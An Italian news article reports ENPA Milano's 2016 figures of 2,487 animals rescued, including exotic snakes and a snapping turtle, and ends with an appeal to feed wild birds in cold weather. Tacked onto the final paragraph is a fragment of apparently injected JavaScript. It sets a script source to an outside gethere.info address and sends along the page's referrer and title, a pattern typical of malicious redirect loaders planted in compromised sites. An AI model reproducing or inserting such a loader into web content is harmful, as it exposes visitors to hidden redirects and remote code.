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sabato 21 ottobre 2017 05:14:34
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ANIMALI, ENPA: DA PITONE A TARTARUGA AZZANNATRICE, 2.400 SOCCORSI NEL 2016

10 gennaio 2017 Cronaca

Sono 2.487 gli animali soccorsi da Enpa Milano nel 2016, a fronte di 499 interventi con ambulanza e 1.988 animali consegnati direttamente dai cittadini. Tra i casi ‘particolari’ che l’ente protezione animali ricorda, stilando un bilancio dell’attività dell’anno scorso, il recupero di una iguana o di una tartaruga azzannatrice, ma anche serpenti ‘esotici’ abbandonati in strada: un elaphe guttata, un pitone reale e un king snake. Tra gli altri animali, soccorsi da Enpa anche un regolo, un lui piccolo, un falco pellegrino, un tasso, un falco pellegrino, uno svasso, un porciglione, 12 pappagalli, 22 gheppi, 39 pipistrelli, 10 poiane. “Molti di questi animali, i selvatici, fortunatamente vengono liberati in natura dopo essere stati curati grazie alla collaborazione con il CRAS di Vanzago – spiega Enpa -, mentre una parte di loro trova invece sistemazione presso nuove famiglie o contesti più idonei. È il caso dei 61 gatti adottati, di una quindicina tra anatre, conigli e galline che hanno trovato collocazione presso alcune fattorie didattiche ma anche di un ragno (macrothele calpeiana) trasferito presso il museo di Scienze Naturali di Bergamo”. “Oltre alle attività di soccorso ad animali feriti e in difficoltà svolte dai nostri operatori e dai nostri veterinari – ha commentato Ermanno Giudici Presidente di ENPA Milano – ci preme sottolineare ancora una volta il costante impegno in tema di vigilanza e controllo sui casi di maltrattamento agli animali da parte delle nostre guardie zoofile e le attività svolte in collaborazione costante con le forze dell’ordine, gli enti pubblici e le ATS durante tutto l’anno”.
“Facciamo un particolare appello a tutti i cittadini – aggiunge il presidente Enpa – per l’arrivo e la previsione, secondo i meteorologi, della persistenza prolungata di temperature così basse e, forse, anche di neve per i prossimi giorni: per poter aiutare la fauna selvatica e soprattutto i piccoli uccelli, dovremmo cercare tutti di predisporre sui propri balconi, terrazzi, davanzali o giardini, dei punti di ristoro, piccole mangiatoie, dove posizionare noci, nocciole, margarina impastata con semi, frutta molto matura, frutta secca, bacche e semi di vario tipo oltre a piccole ciotole con acqua da tenere sempre monitorata perché non congeli. Soltanto con una distribuzione capillare e quindi con l’impegno da parte di tutti i cittadini, possiamo davvero aiutare gli animali a superare questo periodo così difficile”.s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

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